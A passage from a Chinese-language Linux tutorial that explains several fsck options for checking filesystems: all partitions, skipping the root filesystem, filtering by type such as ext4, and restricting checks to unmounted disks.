选项一次性检查所有分区上的文件系统错误,$ fsck -A5.若要禁止对根文件系统进行检查可以使用选项 -R,$ fsck -AR6.只检查指定文件系统类型的分区使用选项 -t 及文件系统类型,可以让 fsck 只检查指定文件系统类型的分区,比如指定文件系统类型为 “ext4”,$ fsck -t ext4 /dev/sdb1或者$ fsck -t -A ext47.只在卸载的磁盘上进行一致性检查要保证 fsck 只在卸载的磁盘上操作,可以使用选项 -M,$ fsck -AM
服务热线:
4006-75-4006(7*24小时在线)
总机直拨:
0871-63886388(工作日9:00-18:00)
售前咨询
售后咨询
备案咨询
电话
二维码
TOP